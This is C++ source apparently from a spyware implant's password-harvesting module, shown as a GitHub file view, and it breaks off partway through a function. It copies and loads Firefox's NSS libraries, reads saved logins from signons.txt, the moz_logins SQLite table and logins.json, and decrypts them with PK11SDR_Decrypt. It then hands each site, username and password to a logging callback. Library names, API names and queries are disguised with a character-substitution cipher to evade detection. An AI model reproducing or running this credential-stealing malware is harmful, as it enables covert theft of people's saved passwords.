hackedteam/core-win32

View on GitHub
HM_PWDAgent/firefox.cpp

Summary

Maintainability
Test Coverage

#define _CRT_SECURE_NO_WARNINGS 1

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <windows.h>
#include <userenv.h>
#include "../HM_SafeProcedures.h"
#include "../demo_functions.h"
#include "../common.h"
#include "..\JSON\JSON.h"
#include "..\JSON\JSONValue.h"

#pragma comment(lib,"userenv.lib")

// callback for the password
extern int LogPassword(WCHAR *resource, WCHAR *service, WCHAR *user, WCHAR *pass);
extern char *LOG_ScrambleName(char *string, BYTE scramble, BOOL crypt);
extern char *HM_CompletePath(char *file_name, char *buffer);
extern WCHAR *GetTBLibPath();
extern char H4_DUMMY_NAME[];
extern char *GetDosAsciiName(WCHAR *orig_path);

//Firefox internal SEC structures
typedef enum SECItemType
{
    siBuffer = 0,
    siClearDataBuffer = 1,
    siCipherDataBuffer = 2,
    siDERCertBuffer = 3,
    siEncodedCertBuffer = 4,
    siDERNameBuffer = 5,
    siEncodedNameBuffer = 6,
    siAsciiNameString = 7,
    siAsciiString = 8,
    siDEROID = 9,
    siUnsignedInteger = 10,
    siUTCTime = 11,
    siGeneralizedTime = 12
};

struct SECItem
{
    SECItemType type;
    unsigned char *data;
    unsigned int len;
};

typedef enum SECStatus
{
    SECWouldBlock = -2,
    SECFailure = -1,
    SECSuccess = 0
};
//-----------------------------------------------------------------------
//Removes gecko-sdk dependency
#define PRBool   int
#define PRUint32 unsigned int
#define PR_TRUE  1
#define PR_FALSE 0

//Mozilla library names
#define NSS_LIBRARY_NAME   "199n.Xyy" //"nss3.dll"
#define PLC_LIBRARY_NAME   "Pypx.Xyy" //"plc4.dll"
#define NSPR_LIBRARY_NAME  "19PEx.Xyy" //"nspr4.dll"
#define SQLITE_LIBRARY_NAME  "9ByZLIn.Xyy" //"sqlite3.dll"
#define SQLITEALT_LIBRARY_NAME  "05O9ByZLIn.Xyy" //"mozsqlite3.dll"
#define MOZCRT_LIBRARY_NAME  "05OpELYN.Xyy" //"mozcrt19.dll"
#define MOZCRTALT_LIBRARY_NAME "05OVLZy9.Xyy" //"mozutils.dll"
#define MOZCRTALTSEC_LIBRARY_NAME "05O7yVI.Xyy" //"mozglue.dll"
#define NSSU_LIBRARY_NAME  "199VLZyn.Xyy" //"nssutil3.dll"
#define PLDS_LIBRARY_NAME  "PyX9x.Xyy" //"plds4.dll"
#define SOFTN_LIBRARY_NAME "95ML5T1n.Xyy" //"softokn3.dll"

#define FREEBL3_LIBRARY_NAME "MEIIiyn.Xyy" //"freebl3.dll"
#define NSSDBM_LIBRARY_NAME "199Xi0n.Xyy" //"nssdbm3.dll"

//-----------------------------------------------------------------------

typedef struct PK11SlotInfoStr PK11SlotInfo;

// NSS Library functions
typedef SECStatus      (*NSS_Init) (const char *configdir);
typedef SECStatus      (*NSS_Shutdown) (void);
typedef PK11SlotInfo * (*PK11_GetInternalKeySlot) (void);
typedef void           (*PK11_FreeSlot) (PK11SlotInfo *slot);
typedef SECStatus      (*PK11_CheckUserPassword) (PK11SlotInfo *slot,char *pw);
typedef SECStatus      (*PK11_Authenticate) (PK11SlotInfo *slot, PRBool loadCerts, void *wincx);
typedef SECStatus      (*PK11SDR_Decrypt) (SECItem *data, SECItem *result, void *cx);

// PLC Library functions
typedef char *         (*PL_Base64Decode)( const char *src, PRUint32 srclen, char *dest);

// SQLITE Library functions
typedef int (*sqlite3_open)(const char *, void **);
typedef int (*sqlite3_close)(void *);
typedef int (*sqlite3_exec)(void *, const char *, int (*callback)(void*,int,char**,char**), void *, char **);

typedef HMODULE (WINAPI *LoadLibrary_t)(char *);

// Function declarations..
void NSSUnload();
int InitFFLibs(WCHAR *firefoxPath);
int InitializeNSSLibrary(WCHAR *profilePath, char *password);
int DirectoryExists(WCHAR *path);
WCHAR *GetFFProfilePath();
WCHAR *GetFFLibPath();

int PK11Decrypt(CHAR *decodeData, int decodeLen, WCHAR **clearData, int *finalLen);
int Base64Decode(char *cryptData, char **decodeData, int *decodeLen);
//-----------------------------------------------------------------------
NSS_Init                NSSInit = NULL;
NSS_Shutdown            NSSShutdown = NULL;
PK11_GetInternalKeySlot PK11GetInternalKeySlot = NULL;
PK11_CheckUserPassword  PK11CheckUserPassword = NULL;
PK11_FreeSlot           PK11FreeSlot = NULL;
PK11_Authenticate       PK11Authenticate = NULL;
PK11SDR_Decrypt         PK11SDRDecrypt = NULL;
PL_Base64Decode         PLBase64Decode = NULL;
sqlite3_open            SQLITE_open = NULL;
sqlite3_close            SQLITE_close = NULL;
sqlite3_exec            SQLITE_exec = NULL;

int IsNSSInitialized = 0;

HMODULE libnss = NULL;
HMODULE libplc = NULL;
HMODULE libsql = NULL;
HMODULE libnspr4 = NULL;
HMODULE libcrt = NULL;
HMODULE libnssu = NULL;
HMODULE libpld = NULL;
HMODULE libsof = NULL;
HMODULE libtmp = NULL;
HMODULE libmsvcrt = NULL;

#define SAFE_FREE(x) do { if (x) {free(x); x=NULL;} } while (0);

#define ALPHABET_LEN 64
char *DeobStringA(char *string)
{
    char alphabet[ALPHABET_LEN]={'_','B','q','w','H','a','F','8','T','k','K','D','M',
                                 'f','O','z','Q','A','S','x','4','V','u','X','d','Z',
                                 'i','b','U','I','e','y','l','J','W','h','j','0','m',
                                 '5','o','2','E','r','L','t','6','v','G','R','N','9',
                                 's','Y','1','n','3','P','p','c','7','g','-','C'};                  
    static char ret_string[MAX_PATH];
    DWORD i,j, scramble=1;

    _snprintf_s(ret_string, MAX_PATH, "%s", string);

    for (i=0; ret_string[i]; i++) {
        for (j=0; j<ALPHABET_LEN; j++)
            if (ret_string[i] == alphabet[j]) {
                ret_string[i] = alphabet[(j+scramble)%ALPHABET_LEN];
                break;
            }
    }
    return ret_string;
}

WCHAR *DeobStringW(WCHAR *string)
{
    WCHAR alphabet[ALPHABET_LEN]={L'_',L'B',L'q',L'w',L'H',L'a',L'F',L'8',L'T',L'k',L'K',L'D',L'M',
                                  L'f',L'O',L'z',L'Q',L'A',L'S',L'x',L'4',L'V',L'u',L'X',L'd',L'Z',
                                  L'i',L'b',L'U',L'I',L'e',L'y',L'l',L'J',L'W',L'h',L'j',L'0',L'm',
                                  L'5',L'o',L'2',L'E',L'r',L'L',L't',L'6',L'v',L'G',L'R',L'N',L'9',
                                  L's',L'Y',L'1',L'n',L'3',L'P',L'p',L'c',L'7',L'g',L'-',L'C'};                  
    static WCHAR ret_string[MAX_PATH];
    DWORD i,j, scramble=1;

    _snwprintf_s(ret_string, MAX_PATH, L"%s", string);

    for (i=0; ret_string[i]; i++) {
        for (j=0; j<ALPHABET_LEN; j++)
            if (ret_string[i] == alphabet[j]) {
                ret_string[i] = alphabet[(j+scramble)%ALPHABET_LEN];
                break;
            }
    }
    return ret_string;
}

BOOL CopyDLL(WCHAR *src, char *dst)
{
    BY_HANDLE_FILE_INFORMATION src_info, dst_info;
    HANDLE hdst, hsrc;
    WCHAR dst_name[MAX_PATH];

    swprintf_s(dst_name, MAX_PATH, L"%S", dst);
    ZeroMemory(&src_info, sizeof(src_info));
    ZeroMemory(&dst_info, sizeof(dst_info));
    hdst = FNC(CreateFileW)(dst_name, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, NULL, NULL);
    if (hdst != INVALID_HANDLE_VALUE) {
        hsrc = FNC(CreateFileW)(src, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, NULL, NULL);
        if (hsrc == INVALID_HANDLE_VALUE) {
            CloseHandle(hdst);
            return FALSE;
        }
        FNC(GetFileInformationByHandle)(hsrc, &src_info);
        FNC(GetFileInformationByHandle)(hdst, &dst_info);
        CloseHandle(hdst);
        CloseHandle(hsrc);

        if (src_info.ftLastWriteTime.dwHighDateTime ==  dst_info.ftLastWriteTime.dwHighDateTime &&
            src_info.ftLastWriteTime.dwLowDateTime ==  dst_info.ftLastWriteTime.dwLowDateTime)
            return TRUE;
    }
    return FNC(CopyFileW)(src, dst_name, FALSE);
}

HMODULE CopyAndLoadDLL(WCHAR *src, char *dest)
{
    LoadLibrary_t pLoadLibrary;

    pLoadLibrary = (LoadLibrary_t) HM_SafeGetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
    if (!pLoadLibrary) 
        return NULL;

    if (!CopyDLL(src, dest))
        return NULL;

    return pLoadLibrary(dest);
}

void FireFoxInitFunc()
{
    BOOL FF_ver_3 = false;
    WCHAR loadPath[MAX_PATH];
    char destPath[MAX_PATH];
    WCHAR *firefoxDir;

    firefoxDir = GetFFLibPath();
    if (!firefoxDir || !DirectoryExists(firefoxDir)) {
        firefoxDir = GetTBLibPath();
        if (!firefoxDir || !DirectoryExists(firefoxDir))
            return;
    }

    if (!libmsvcrt && GetModuleHandle("msvcr100.dll") == NULL) {
        swprintf_s(loadPath, MAX_PATH, L"%s\\%S", firefoxDir, "msvcr100.dll");
        HM_CompletePath("msvcr100.dll", destPath);
        libmsvcrt = CopyAndLoadDLL(loadPath, destPath);
    }

    if (!libcrt) {
        swprintf_s(loadPath, MAX_PATH, L"%s\\%S", firefoxDir, DeobStringA(MOZCRT_LIBRARY_NAME));
        HM_CompletePath(DeobStringA(MOZCRT_LIBRARY_NAME), destPath);
        libcrt = CopyAndLoadDLL(loadPath, destPath);
        if (!libcrt) {
            swprintf_s(loadPath, MAX_PATH, L"%s\\%S", firefoxDir, DeobStringA(MOZCRTALT_LIBRARY_NAME));
            HM_CompletePath(DeobStringA(MOZCRTALT_LIBRARY_NAME), destPath);
            libcrt = CopyAndLoadDLL(loadPath, destPath);
        }
        if (!libcrt) {
            swprintf_s(loadPath, MAX_PATH, L"%s\\%S", firefoxDir, DeobStringA(MOZCRTALTSEC_LIBRARY_NAME));
            HM_CompletePath(DeobStringA(MOZCRTALTSEC_LIBRARY_NAME), destPath);
            libcrt = CopyAndLoadDLL(loadPath, destPath);
        }

        if (libcrt)
            FF_ver_3 = true;
    }

    if (!libnspr4) {
        swprintf_s(loadPath, MAX_PATH, L"%s\\%S", firefoxDir, DeobStringA(NSPR_LIBRARY_NAME));
        HM_CompletePath(DeobStringA(NSPR_LIBRARY_NAME), destPath);
        libnspr4 = CopyAndLoadDLL(loadPath, destPath);
        //if (!libnspr4)
            //return;
    }

    if (libnspr4) {
        if (!libpld) {
            swprintf_s(loadPath, MAX_PATH, L"%s\\%S", firefoxDir, DeobStringA(PLDS_LIBRARY_NAME));
            HM_CompletePath(DeobStringA(PLDS_LIBRARY_NAME), destPath);
            libpld = CopyAndLoadDLL(loadPath, destPath);
            if (!libpld)
                return;
        }

        if (!libplc) {
            swprintf_s(loadPath, MAX_PATH, L"%s\\%S", firefoxDir, DeobStringA(PLC_LIBRARY_NAME));
            HM_CompletePath(DeobStringA(PLC_LIBRARY_NAME), destPath);
            libplc = CopyAndLoadDLL(loadPath, destPath);
            if (!libplc)
                return;
        }

        if (FF_ver_3) { 
            if (!libnssu) {
                swprintf_s(loadPath, MAX_PATH, L"%s\\%S", firefoxDir, DeobStringA(NSSU_LIBRARY_NAME));
                HM_CompletePath(DeobStringA(NSSU_LIBRARY_NAME), destPath);
                libnssu = CopyAndLoadDLL(loadPath, destPath);
                if (!libnssu)
                    return;
            }

            if (!libsql) {
                swprintf_s(loadPath, MAX_PATH, L"%s\\%S", firefoxDir, DeobStringA(SQLITE_LIBRARY_NAME));
                HM_CompletePath(DeobStringA(SQLITE_LIBRARY_NAME), destPath);
                libsql = CopyAndLoadDLL(loadPath, destPath);
                if (!libsql) { // Su FireFox4 la libreria si chiama diversamente
                    swprintf_s(loadPath, MAX_PATH, L"%s\\%S", firefoxDir, DeobStringA(SQLITEALT_LIBRARY_NAME));
                    HM_CompletePath(DeobStringA(SQLITEALT_LIBRARY_NAME), destPath);
                    libsql = CopyAndLoadDLL(loadPath, destPath);
                    if (!libsql)
                        return;
                }
            }
        }

        if (!libsof) {
            swprintf_s(loadPath, MAX_PATH, L"%s\\%S", firefoxDir, DeobStringA(SOFTN_LIBRARY_NAME));
            HM_CompletePath(DeobStringA(SOFTN_LIBRARY_NAME), destPath);
            libsof = CopyAndLoadDLL(loadPath, destPath);
            if (!libsof)
                return;
        }
    }

    if (!libnss) {
        swprintf_s(loadPath, MAX_PATH, L"%s\\%S", firefoxDir, DeobStringA(NSS_LIBRARY_NAME));
        HM_CompletePath(DeobStringA(NSS_LIBRARY_NAME), destPath);
        libnss = CopyAndLoadDLL(loadPath, destPath);
        if (!libnss)
            return;

        if (!libsql)
            libsql = libnss;

        if (!libplc)
            libplc = libnss;
    }

    swprintf_s(loadPath, MAX_PATH, L"%s\\%S", firefoxDir, DeobStringA(FREEBL3_LIBRARY_NAME));
    HM_CompletePath(DeobStringA(FREEBL3_LIBRARY_NAME), destPath);
    CopyDLL(loadPath, destPath);

    swprintf_s(loadPath, MAX_PATH, L"%s\\%S", firefoxDir, DeobStringA(NSSDBM_LIBRARY_NAME));
    HM_CompletePath(DeobStringA(NSSDBM_LIBRARY_NAME), destPath);
    CopyDLL(loadPath, destPath);

    if (!libsof) {
        swprintf_s(loadPath, MAX_PATH, L"%s\\%S", firefoxDir, DeobStringA(SOFTN_LIBRARY_NAME));
        HM_CompletePath(DeobStringA(SOFTN_LIBRARY_NAME), destPath);
        CopyDLL(loadPath, destPath);
    }
}

void FireFoxUnInitFunc()
{
    if ( libnss != NULL )
        FreeLibrary(libnss);  //Free nss library

    if ( libsof != NULL )
        FreeLibrary(libsof); 

    if ( libsql != NULL && libsql != libnss)
        FreeLibrary(libsql);  //Free sql library

    if ( libnssu != NULL )
        FreeLibrary(libnssu); 

    if ( libplc != NULL && libplc != libnss )
        FreeLibrary(libplc);  //Free plc library

    if ( libpld != NULL )
        FreeLibrary(libpld); 

    if ( libnspr4 != NULL )
        FreeLibrary(libnspr4); 

    if ( libcrt != NULL ) {
        FreeLibrary(libcrt);
        Sleep(100);
        FreeLibrary(libcrt);
    }

    if ( libmsvcrt != NULL ) {
        FreeLibrary(libmsvcrt);
        Sleep(100);
        FreeLibrary(libmsvcrt);
    }

    libnss = NULL;
    libplc = NULL;
    libsql = NULL;
    libnspr4 = NULL;
    libcrt = NULL;
    libnssu = NULL;
    libpld = NULL;
    libsof = NULL;
    libtmp = NULL;
    libmsvcrt = NULL;

}


int DirectoryExists(WCHAR *path)
{
    DWORD attr = GetFileAttributesW(path);
    
    if (!path)
        return 0;

    if( (attr < 0) || !(attr & FILE_ATTRIBUTE_DIRECTORY ) ) 
        return 0;
    
    return 1;
}


//Loads specified firefox library with the given ffdir path as root
HMODULE LoadLibraryFF(WCHAR *firefoxDir, char *libName)
{
    char loadPath[MAX_PATH];

    sprintf_s(loadPath, MAX_PATH, "%S\\%s", firefoxDir, libName);

    if (!(libtmp = LoadLibrary(loadPath)))
        return NULL; 

    return libtmp;
}


int InitFFLibs(WCHAR *FFDir)
{
    if (FFDir == NULL ) 
        return 0;

    NSSInit = NULL;
    NSSShutdown = NULL;

    // Extract the required functions....
    NSSInit                = (NSS_Init) HM_SafeGetProcAddress(libnss, DeobStringA("RAACU1ZL")); //"NSS_Init"
    NSSShutdown            = (NSS_Shutdown)HM_SafeGetProcAddress(libnss, DeobStringA("RAACAWVLX5q1")); //"NSS_Shutdown"
    PK11GetInternalKeySlot = (PK11_GetInternalKeySlot) HM_SafeGetProcAddress(libnss, DeobStringA("3kYYCvILU1LIE1HykIeAy5L")); //"PK11_GetInternalKeySlot"
    PK11FreeSlot           = (PK11_FreeSlot) HM_SafeGetProcAddress(libnss, DeobStringA("3kYYCaEIIAy5L")); //"PK11_FreeSlot"
    PK11Authenticate       = (PK11_Authenticate) HM_SafeGetProcAddress(libnss, DeobStringA("3kYYCQVLWI1LZpHLI")); //"PK11_Authenticate"
    PK11SDRDecrypt         = (PK11SDR_Decrypt) HM_SafeGetProcAddress(libnss, DeobStringA("3kYYAKGCKIpEePL")); //"PK11SDR_Decrypt"
    PK11CheckUserPassword  = (PK11_CheckUserPassword ) HM_SafeGetProcAddress(libnss, DeobStringA("3kYYC-WIpTb9IE3H99q5EX")); //"PK11_CheckUserPassword"

    if ( !NSSInit || !NSSShutdown || !PK11GetInternalKeySlot || !PK11Authenticate || !PK11SDRDecrypt || !PK11FreeSlot || !PK11CheckUserPassword) {
        NSSUnload();
        return 0;
    }

    // Get the functions from PLC library
    if (!(PLBase64Decode = ( PL_Base64Decode ) HM_SafeGetProcAddress(libplc, DeobStringA("3rC_H9ItxKIp5XI")))) { //"PL_Base64Decode"
        NSSUnload();
        return 0;
    }

    if (libsql) {
        // sqlite functions
        SQLITE_open = (sqlite3_open) HM_SafeGetProcAddress(libsql, DeobStringA("9ByZLInC5PI1"));  //"sqlite3_open"
        SQLITE_close = (sqlite3_close) HM_SafeGetProcAddress(libsql, DeobStringA("9ByZLInCpy59I")); //"sqlite3_close"
        SQLITE_exec = (sqlite3_exec) HM_SafeGetProcAddress(libsql, DeobStringA("9ByZLInCISIp")); //"sqlite3_exec"

        if (!SQLITE_open || !SQLITE_close || !SQLITE_exec) {
            NSSUnload();
            return 0;
        }
    }

    return 1;
}


int InitializeNSSLibrary(WCHAR *profilePath)
{
    CHAR szProfile[MAX_PATH];

    sprintf_s(szProfile, MAX_PATH, "%S", profilePath);

    IsNSSInitialized = 0;

    // Initialize the NSS library
    if( (*NSSInit) (szProfile) != SECSuccess ) {
        NSSUnload();
        return 0;
    } 
        
    IsNSSInitialized = 1;
    return 1;
}

void NSSUnload()
{
    if ( IsNSSInitialized  && (NSSShutdown != NULL) )
        (*NSSShutdown)();

    NSSShutdown = NULL;
}

// La stringa tornata va liberata
WCHAR *UTF8_2_UTF16(char *str)
{
    DWORD wclen;
    WCHAR *wcstr;

    if ( (wclen = MultiByteToWideChar(CP_UTF8, 0, str, -1, NULL, 0)) == 0 )
        return NULL;

    if ( !(wcstr = (WCHAR *)malloc(wclen*sizeof(WCHAR))) )
        return NULL;

    if ( MultiByteToWideChar(CP_UTF8, 0, str, -1, wcstr, wclen) == 0 ) {
        free(wcstr);
        return NULL;
    }

    return wcstr;
}


int DecryptStr(CHAR *cryptData, WCHAR *clearData, UINT clearSize)
{
    int decodeLen = 0;
    int finalLen = 0;
    char *decodeData = NULL;
    WCHAR *finalData = NULL;

    if (cryptData[0] == NULL )
        return 0;
    
    if ((Base64Decode(cryptData, &decodeData, &decodeLen) == 0) || (decodeData == NULL)) 
        return 0;

    // Do the actual PK11 decryption
    if ((PK11Decrypt(decodeData, decodeLen, &finalData, &finalLen) == 0) || (finalData == NULL))
        return 0;

    wcsncpy(clearData, finalData, clearSize);
    
    if (finalLen < (INT)clearSize + 1)
        *(clearData + finalLen) = 0;    // Null terminate string

    SAFE_FREE(finalData);

    return 1;
}


int Base64Decode(char *cryptData, char **decodeData, int *decodeLen)
{
    int len = strlen( cryptData );
    int adjust = 0;

    if (cryptData[len-1] == '=') {
      adjust++;
      if (cryptData[len-2] == '=')
          adjust++;
    }

    *decodeData = ( char *)(*PLBase64Decode)(cryptData, len, NULL);

    if( *decodeData == NULL )
        return 0;
   
    *decodeLen = (len*3)/4 - adjust;

    return 1;
}


int PK11Decrypt(CHAR *decodeData, int decodeLen, WCHAR **clearData, int *finalLen)
{
    PK11SlotInfo *slot = 0;
    SECItem request;
    SECItem reply;

    // Find token with SDR key
    slot = (*PK11GetInternalKeySlot)();

    if (!slot)
        return 0;

    // Decrypt the string
    request.data = (unsigned char *)decodeData;
    request.len = decodeLen;
    reply.data = 0;
    reply.len = 0;

    if ((*PK11SDRDecrypt)(&request, &reply, NULL) != SECSuccess)
        return 0;

    *clearData = UTF8_2_UTF16((char *)reply.data);
    *finalLen  = reply.len;

    // Free the slot
    (*PK11FreeSlot)(slot);

    return 1;
}

struct ffp_entry {
    WCHAR service[64];
    WCHAR resource[255];
    WCHAR user_name[255];
    WCHAR user_value[255];
    WCHAR pass_name[255];
    WCHAR pass_value[255];
};

int DumpFF(WCHAR *profilePath, WCHAR *signonFile)
{
    char buffer[2048];
    WCHAR signonFullFile[MAX_PATH];
    int bufferLength = 2048;
    FILE *ft = NULL;

    struct ffp_entry ffentry;

    memset(&ffentry, 0, sizeof(ffentry));

    if ( profilePath == NULL || signonFile == NULL)
        return 0;

    _snwprintf_s(signonFullFile, MAX_PATH, L"%s\\%s", profilePath, signonFile);

    if ( (ft = _wfopen(signonFullFile, L"r")) == NULL ) 
         return 0;

    fgets(buffer, bufferLength, ft);

    // Read out the unmanaged ("Never remember" URL list
    while (fgets(buffer, bufferLength, ft) != 0) {
        // End of unmanaged list
        if (strlen(buffer) != 0 && buffer[0] == '.' && buffer[0] != '#')
            break;
    }

    // read the URL line
    while (fgets(buffer, bufferLength, ft) != 0 ){

        buffer[strlen(buffer)-1] = 0;
        //printf("-> URL: %s \n", buffer);
        swprintf_s(ffentry.service, 255, L"Firefox");
        _snwprintf_s(ffentry.resource, 255, _TRUNCATE, L"%S", buffer);

        //Start looping through final singon*.txt file
        while (fgets(buffer, bufferLength, ft) != 0 ) {

            // new host begins with '.', second entry for a single host have '---'
            if (!strncmp(buffer, ".", 1) || !strncmp(buffer, "---", 3)) {
                if (wcscmp(ffentry.user_name, L""))
                    LogPassword(ffentry.service, ffentry.resource, ffentry.user_value, ffentry.pass_value);
                
                memset(&ffentry.user_value, 0, sizeof(ffentry.user_value));
                memset(&ffentry.user_name, 0, sizeof(ffentry.user_name));
                memset(&ffentry.pass_value, 0, sizeof(ffentry.pass_value));
                memset(&ffentry.pass_name, 0, sizeof(ffentry.pass_name));
                
                if (!strncmp(buffer, ".", 1))
                    break; // end of cache entry
                else 
                    continue;
            }

            //Check if its a password
            if (buffer[0] == '*') {
                buffer[strlen(buffer)-1] = 0;
                _snwprintf_s(ffentry.pass_name, 255, _TRUNCATE, L"%S", buffer + 1);
                
                fgets(buffer, bufferLength, ft);
                buffer[strlen(buffer)-1] = 0;
                
                DecryptStr(buffer, ffentry.pass_value, 255);

            // else is the username the first time, the subdomain the second
            } else if (!wcscmp(ffentry.user_name, L"")) {
                buffer[strlen(buffer)-1] = 0;
                _snwprintf_s(ffentry.user_name, 255, _TRUNCATE, L"%S", buffer);

                fgets(buffer, bufferLength, ft);
                buffer[strlen(buffer)-1] = 0;

                DecryptStr(buffer, ffentry.user_value, 255);
            }
        }
    }

    fclose(ft);

    return 1;
}

int parse_sql_signons(void *NotUsed, int argc, char **argv, char **azColName)
{
    struct ffp_entry ffentry;
    
    ZeroMemory(&ffentry, sizeof(ffentry));
    for(int i=0; i<argc; i++){
        if (!strcmp(azColName[i], "hostname")) {
            swprintf_s(ffentry.service, 255, L"Firefox/Thunderbird");
            _snwprintf_s(ffentry.resource, 255, _TRUNCATE, L"%S", argv[i]);
        }
        if (!strcmp(azColName[i], DeobStringA("I1pEePLIXb9IE1H0I"))) {  //"encryptedUsername"
            DecryptStr(argv[i], ffentry.user_value, 255);
        }
        if (!strcmp(azColName[i], DeobStringA("I1pEePLIX3H99q5EX"))) {  //"encryptedPassword"
            DecryptStr(argv[i], ffentry.pass_value, 255);
        }
    }

    LogPassword(ffentry.service, ffentry.resource, ffentry.user_value, ffentry.pass_value);
    
    return 0;
}

int DumpSqlFF(WCHAR *profilePath, WCHAR *signonFile)
{
    void *db;
    char *ascii_path;
    CHAR sqlPath[MAX_PATH];
    int rc;

    if (SQLITE_open == NULL)
        return 0;

    if (!(ascii_path = GetDosAsciiName(profilePath)))
        return 0;

    sprintf_s(sqlPath, MAX_PATH, "%s\\%S", ascii_path, signonFile);
    SAFE_FREE(ascii_path);

    if ((rc = SQLITE_open(sqlPath, &db)))
        return 0;

    SQLITE_exec(db, DeobStringA("A2r2-8 * aGfD 05OCy57Z19;"), parse_sql_signons, NULL, NULL);  //"SELECT * FROM moz_logins;"

    SQLITE_close(db);

    return 1;
}

WCHAR *GetFFLibPath()
{
    static WCHAR FullPath[MAX_PATH];
    char regSubKey[MAX_PATH];
    char path[MAX_PATH];
    char *p;
    DWORD pathSize = MAX_PATH;
    DWORD valueType;
    HKEY rkey;

    // Open firefox registry key
    _snprintf_s(regSubKey, MAX_PATH, "%s", DeobStringA("Afa8JQG2\\-yZI1L9\\ALHELDI1VU1LIE1IL\\MZEIM5S.ISI\\9WIyy\\5PI1\\p500H1X"));  //"SOFTWARE\\Clients\\StartMenuInternet\\firefox.exe\\shell\\open\\command"
    if( FNC(RegOpenKeyExA)(HKEY_LOCAL_MACHINE, regSubKey, 0, KEY_READ, &rkey) != ERROR_SUCCESS )
        return NULL;

    // Read the firefox path
    if( FNC(RegQueryValueExA)(rkey, NULL, 0,  &valueType, (unsigned char*)path, &pathSize) != ERROR_SUCCESS ) {
        FNC(RegCloseKey)(rkey);
        return NULL;
    }

    if( pathSize <= 0 || path[0] == 0) {
        FNC(RegCloseKey)(rkey);
        return NULL;
    }

    FNC(RegCloseKey)(rkey);

    // get the path and then remove the initial \"
    if ((p = strrchr(path, '\\')) != NULL)
        *p = '\0';

    p = path;
    
    if( *p == '\"' ) 
        p++;

    if (!p)
        return NULL;

    _snwprintf_s(FullPath, MAX_PATH, L"%S", p);        

    return FullPath;
}


WCHAR *GetFFProfilePath()
{
    static WCHAR FullPath[MAX_PATH];
    WCHAR appPath[MAX_PATH];
    WCHAR iniFile[MAX_PATH];
    WCHAR profilePath[MAX_PATH];
    DWORD pathSize = MAX_PATH;

    memset(appPath, 0, sizeof(appPath));
    memset(profilePath, 0, sizeof(profilePath));

    FNC(GetEnvironmentVariableW)(L"APPDATA", appPath, MAX_PATH);

    // Get firefox profile directory
    _snwprintf_s(iniFile, MAX_PATH, DeobStringW(L"%9\\D5OZyyH\\aZEIM5S\\PE5MZyI9.Z1Z"), appPath); //"%s\\Mozilla\\Firefox\\profiles.ini"

    FNC(GetPrivateProfileStringW)(DeobStringW(L"3E5MZyIj"), L"Path", L"",  profilePath, sizeof(profilePath), iniFile); //"Profile0"

    _snwprintf_s(FullPath, MAX_PATH, DeobStringW(L"%9\\D5OZyyH\\aZEIM5S\\%9"), appPath, profilePath);  //"%s\\Mozilla\\Firefox\\%s"

    return FullPath;
}

int DumpJsonFF(WCHAR *profilePath, WCHAR *signonFile)
{
    JSONValue* jValue = NULL;
    JSONArray  jLogins;
    JSONObject jObj, jEntry;
    HANDLE hFile, hMap;
    WCHAR file_path[MAX_PATH];
    DWORD login_size;
    char *login_map, *local_login_map;
    WCHAR strLogins[]    = { L'l', L'o', L'g', L'i', L'n', L's', L'\0' };
    WCHAR strURL[]        = { L'h', L'o', L's', L't', L'n', L'a', L'm', L'e', L'\0' };
    WCHAR strUser[]        = { L'e', L'n', L'c', L'r', L'y', L'p', L't', L'e', L'd', L'U', L's', L'e', L'r', L'n', L'a', L'm', L'e', L'\0' };
    WCHAR strPass[]        = { L'e', L'n', L'c', L'r', L'y', L'p', L't', L'e', L'd', L'P', L'a', L's', L's', L'w', L'o', L'r', L'd', L'\0' };
    struct ffp_entry ffentry;
    char tmp_buff[255];

    _snwprintf_s(file_path, sizeof(file_path)/sizeof(WCHAR), _TRUNCATE, L"%s\\%s", profilePath, signonFile);        

    if ((hFile = FNC(CreateFileW)(file_path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL)) == INVALID_HANDLE_VALUE)
        return 0;
    
    login_size = GetFileSize(hFile, NULL);
    if (login_size == INVALID_FILE_SIZE) {
        CloseHandle(hFile);
        return 0;
    }
    
    local_login_map = (char *)calloc(login_size + 1, sizeof(char));
    if (local_login_map == NULL) {
        CloseHandle(hFile);
        return 0;
    }

    if ((hMap = FNC(CreateFileMappingA)(hFile, NULL, PAGE_READONLY, 0, 0, NULL)) == INVALID_HANDLE_VALUE) {
        SAFE_FREE(local_login_map);
        CloseHandle(hFile);
        return 0;
    }

    if ( (login_map = (char *)FNC(MapViewOfFile)(hMap, FILE_MAP_READ, 0, 0, 0)) == NULL) {
        SAFE_FREE(local_login_map);
        CloseHandle(hMap);
        CloseHandle(hFile);
        return 0;

    }
    
    memcpy(local_login_map, login_map, login_size);
    FNC(UnmapViewOfFile)(login_map);
    CloseHandle(hMap);
    CloseHandle(hFile);
    
    jValue = JSON::Parse(local_login_map);
    if(jValue == NULL) {
        SAFE_FREE(local_login_map);
        return 0;
    }

    if (jValue->IsObject()) {
        jObj = jValue->AsObject(); //json root

        //find the logins object
        if (jObj.find(strLogins) != jObj.end() && jObj[strLogins]->IsArray()) {                
            jLogins = jObj[strLogins]->AsArray();

            for (DWORD i=0; i<jLogins.size(); i++) {
                if (jLogins[i]->IsObject()) {
                    jEntry = jLogins[i]->AsObject();

                    if (jEntry.find(strURL)!=jEntry.end() && 
                        jEntry.find(strUser)!=jEntry.end() && 
                        jEntry.find(strPass)!=jEntry.end() &&
                        jEntry[strURL]->IsString() &&
                        jEntry[strUser]->IsString() &&
                        jEntry[strPass]->IsString()) { 
                            ZeroMemory(&ffentry, sizeof(ffentry));
                            swprintf_s(ffentry.service, 255, L"Firefox/Thunderbird");
                            _snwprintf_s(ffentry.resource, 255, _TRUNCATE, L"%s", jEntry[strURL]->AsString().c_str());
        
                            _snprintf_s(tmp_buff, 255, _TRUNCATE, "%S", jEntry[strUser]->AsString().c_str());
                            DecryptStr(tmp_buff, ffentry.user_value, 255);
        
                            _snprintf_s(tmp_buff, 255, _TRUNCATE, "%S", jEntry[strPass]->AsString().c_str());
                            DecryptStr(tmp_buff, ffentry.pass_value, 255);
                            LogPassword(ffentry.service, ffentry.resource, ffentry.user_value, ffentry.pass_value);
                    }
                }
            }
        }
    }

    delete jValue;
    SAFE_FREE(local_login_map);
    return 1;
}

int DumpFirefox(void)
{
    WCHAR *ProfilePath = NULL;     //Profile path
